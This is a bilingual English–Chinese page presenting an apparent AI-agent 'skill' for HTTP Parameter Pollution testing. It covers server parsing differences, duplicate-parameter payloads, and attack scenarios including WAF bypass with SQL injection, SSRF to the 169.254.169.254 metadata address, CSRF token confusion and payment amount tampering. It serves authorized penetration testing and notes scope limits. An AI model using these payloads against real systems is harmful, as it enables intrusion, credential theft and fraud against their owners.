http-parameter-pollution

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: HTTP Parameter Pollution (HPP)

SKILL: HTTP Parameter Pollution (HPP)

AI LOAD INSTRUCTION: Model the full request path: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (
a=1&a=2
) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. 中文路由:同一参数名出现多次、或 WAF/后端技术栈不一致时,按 Section 1 矩阵选「先/后/合并」假设,再设计 Section 3 场景链。
AI加载说明:对完整请求路径建模:浏览器 → CDN/WAF → 反向代理 → 应用框架 → 业务代码。重复键(
a=1&a=2
)在HTTP层面不属于错误;每一跳可能选择第一个、最后一个、拼接或者转为数组。当WAF和应用解析不一致,或者内部HTTP客户端重建查询字符串时测试HPP。中文路由:同一参数名出现多次、或WAF/后端技术栈不一致时,按第1节矩阵选「先/后/合并」假设,再设计第3节场景链。

0. QUICK START

0. 快速开始

Hypothesis: the security check reads one occurrence of a parameter while the action reads another.
假设安全检查读取参数的某一个出现值,而执行操作时读取另一个值。

First-pass payloads

初测Payload

text
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin
text
id=1&id=2
id=1&id=1%20OR%201=1
url=https://legit.example&id=https://evil.example
amount=1&amount=9999
csrf=TOKEN_A&csrf=TOKEN_B
user=alice&user=admin

Body variants (repeat for POST)

请求体变体(POST请求复用)

text
application/x-www-form-urlencoded
id=1&id=2

multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2
text
application/x-www-form-urlencoded
id=1&id=2

multipart/form-data
------boundary
Content-Disposition: form-data; name="id"
1
------boundary
Content-Disposition: form-data; name="id"
2

Quick methodology

快速测试方法

  1. Fingerprint front stack (CDN/WAF) vs origin (language/framework) using baseline
    a=1&a=2
    .
  2. Send both orders:
    a=1&a=2
    and
    a=2&a=1
    (some parsers are order-sensitive).
  3. If JSON: test duplicate keys and Content-Type confusion (see Section 2).

  1. 使用基准请求
    a=1&a=2
    识别前端栈(CDN/WAF)和源站(开发语言/框架)的解析逻辑。
  2. 发送两种顺序的请求:
    a=1&a=2
    a=2&a=1
    (部分解析器对顺序敏感)。
  3. 如果是JSON格式:测试重复键和Content-Type混淆(见第2节)。

1. SERVER BEHAVIOR MATRIX

1. 服务器行为矩阵

Typical defaults — always confirm; middleware and custom parsers override these.
TechnologyBehaviorExample:
a=1&a=2
PHP / Apache (
$_GET
)
Last occurrence
a=2
ASP.NET / IISOften comma-joined (all)
a=1,2
JSP / Tomcat (servlet param)First occurrence
a=1
Python / Django (
QueryDict
)
Last occurrence
a=2
Python / Flask (
request.args
)
First occurrence
a=1
Node.js / Express (
req.query
)
Array of values
a=['1','2']
(shape may vary by parser version)
Perl / CGIFirst occurrence
a=1
Ruby / Rack (Rack::Utils)Last occurrence
a=2
Go
net/http
(
ParseQuery
)
First occurrence
a=1
Why it matters: a WAF on IIS might see
1,2
while PHP backend receives
2
only — or the reverse if a proxy normalizes.

典型默认配置——请务必自行确认;中间件和自定义解析器会覆盖这些默认行为。
技术栈行为示例:
a=1&a=2
PHP / Apache (
$_GET
)
取最后一个出现的值
a=2
ASP.NET / IIS通常用逗号拼接所有值
a=1,2
JSP / Tomcat (servlet param)取第一个出现的值
a=1
Python / Django (
QueryDict
)
取最后一个出现的值
a=2
Python / Flask (
request.args
)
取第一个出现的值
a=1
Node.js / Express (
req.query
)
转为值数组
a=['1','2']
(结构可能随解析器版本变化)
Perl / CGI取第一个出现的值
a=1
Ruby / Rack (Rack::Utils)取最后一个出现的值
a=2
Go
net/http
(
ParseQuery
)
取第一个出现的值
a=1
重要性说明:部署在IIS上的WAF可能解析得到
1,2
,而PHP后端仅收到
2
——如果代理做了参数归一化,结果也可能反过来。

2. PAYLOAD PATTERNS

2. Payload 模式

2.1 Basic duplicate key

2.1 基础重复键

http
GET /api?q=safe&q=evil HTTP/1.1
http
GET /api?q=safe&q=evil HTTP/1.1

2.2 Array-style (PHP / some frameworks)

2.2 数组形式(PHP/部分框架适用)

http
GET /api?id[]=1&id[]=2 HTTP/1.1
http
GET /api?id[]=1&id[]=2 HTTP/1.1

2.3 Mixed array + scalar

2.3 数组+标量混合

http
GET /api?item[]=a&item=b HTTP/1.1
http
GET /api?item[]=a&item=b HTTP/1.1

2.4 Encoded ampersand (parser differential)

2.4 编码的&符号(解析器差异利用)

text
undefined
text
undefined

Literal & inside a value vs new pair — depends on decoder

参数值内的字面量&和新参数对的差异——取决于解码器逻辑

param=value1%26other=value2 param=value1&other=value2
undefined
param=value1%26other=value2 param=value1&other=value2
undefined

2.5 Nested / bracket keys

2.5 嵌套/括号键

http
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
http
GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1

2.6 JSON duplicate keys

2.6 JSON重复键

json
{"test":"user","test":"admin"}
Many parsers keep last key; some keep first. JavaScript
JSON.parse
keeps the last duplicate key.

json
{"test":"user","test":"admin"}
多数解析器保留最后一个键的值;部分保留第一个。JavaScript
JSON.parse
会保留最后一个重复键的值。

3. ATTACK SCENARIOS

3. 攻击场景

3.1 HPP + WAF bypass

3.1 HPP + WAF绕过

Pattern: WAF inspects first value; application uses last.
text
id=1&id=1%20UNION%20SELECT%20...
Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.
模式:WAF检查第一个值;应用使用最后一个值。
text
id=1&id=1%20UNION%20SELECT%20...
也可以尝试:如果网关对不同来源的参数合并逻辑不同,在JSON字段中放入良性值,同时在查询字符串中重复该字段放入恶意值。

3.2 HPP + SSRF

3.2 HPP + SSRF

Pattern: validator reads safe URL; fetcher reads internal/evil URL.
text
url=https://allowed.cdn.example/&url=http://169.254.169.254/
Confirm which component (library vs app) consumes which occurrence.
模式:校验器读取安全URL;请求发起器读取内部/恶意URL。
text
url=https://allowed.cdn.example/&url=http://169.254.169.254/
确认哪个组件(依赖库还是应用本身)读取哪个参数值。

3.3 HPP + CSRF

3.3 HPP + CSRF

Pattern: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.
text
csrf=LEGIT&csrf=IGNORED_OR_ALT
Use only in authorized CSRF assessments with a clear state-changing target.
模式:重复抗CSRF令牌,其中一个满足解析器A的校验,另一个满足解析器B的校验。
text
csrf=LEGIT&csrf=IGNORED_OR_ALT
仅在获得授权的CSRF评估中使用,且需明确指向状态变更的目标接口。

3.4 HPP + business logic (e.g. payment)

3.4 HPP + 业务逻辑(比如支付场景)

text
amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01
Pair with race conditions or server-side rounding for higher impact; HPP alone often needs a split interpretation across layers.

text
amount=1&amount=5000
quantity=1&quantity=-1
price=9.99&price=0.01
结合竞态条件服务端舍入逻辑可提升危害;单独的HPP通常需要跨层的解析差异才能生效。

4. TOOLS

4. 工具

ToolHow to use
Burp SuiteRepeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for
first
vs
last
interpretation
OWASP ZAPManual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants
Custom scriptsBuild exact raw HTTP (preserve ordering) — some clients normalize duplicates
Tip: log raw query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.

工具使用方法
Burp Suite重放器:在原始查询/请求体中复制重复键;用Param Miner/扩展查找隐藏参数;对比响应判断是「取第一个」还是「取最后一个」的解析逻辑
OWASP ZAP手动请求编辑器;自动扫描可能不会深度模糊测试HPP——优先手动测试变体
自定义脚本构建完全原始的HTTP请求(保留顺序)——部分客户端会自动归一化重复参数
提示:如果你控制测试环境,在应用层记录原始查询字符串;部分框架仅暴露「最终生效」的值,日志才能看到完整的字符串。

5. DECISION TREE

5. 决策树

text
                    +-------------------------+
                    | Duplicate param name    |
                    | same request            |
                    +------------+------------+
                                 |
              +------------------+------------------+
              |                                     |
       +------v------+                       +------v------+
       | Single app  |                       | WAF / CDN / |
       | layer only  |                       | proxy chain |
       +------+------+                       +------+------+
              |                                     |
    +---------v---------+                 +---------v---------+
    | Read framework    |                 | Map each hop:     |
    | docs + test       |                 | first/last/join/  |
    | a=1&a=2 vs swap   |                 | array             |
    +---------+---------+                 +---------+---------+
              |                                     |
              +------------------+------------------+
                                 |
                          +------v------+
                          | Pick attack |
                          | template    |
                          +------+------+
                                 |
         +-----------+-----------+-----------+-----------+
         |           |           |           |           |
    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
    | WAF vs  | | SSRF    | | CSRF    | | Logic   | | JSON    |
    | app     | | split   | | token   | | numeric | | dup key |
    | value   | | URL     | | confuse | | fields  | | parsers |
    +---------+ +---------+ +---------+ +---------+ +---------+

Safety & scope: HPP testing can change server state (payments, account settings). Run only where explicitly authorized, with scoped accounts, and document parser behavior before high-impact requests.
text
                    +-------------------------+
                    | 同请求内存在重复参数名    |
                    +------------+------------+
                                 |
              +------------------+------------------+
              |                                     |
       +------v------+                       +------v------+
       | 仅单个应用层 |                       | 存在WAF/CDN/ |
       |             |                       | 代理链路     |
       +------+------+                       +------+------+
              |                                     |
    +---------v---------+                 +---------v---------+
    | 查阅框架文档+测试 |                 | 映射每一跳的解析逻辑:|
    | a=1&a=2 和交换顺序的结果 |            | 取首/取尾/拼接/转数组 |
    +---------+---------+                 +---------+---------+
              |                                     |
              +------------------+------------------+
                                 |
                          +------v------+
                          | 选择攻击模板 |
                          +------+------+
                                 |
         +-----------+-----------+-----------+-----------+
         |           |           |           |           |
    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
    | WAF与应用 | | SSRF    | | CSRF    | | 业务逻辑  | | JSON    |
    | 值解析差异 | | URL拆分 | | 令牌混淆 | | 数值字段  | | 重复键解析 |
    +---------+ +---------+ +---------+ +---------+ +---------+

安全与测试范围:HPP测试可能会改变服务器状态(支付、账户设置)。仅在获得明确授权的范围内运行测试,使用限定权限的账户,在发送高影响请求前先确认解析器行为。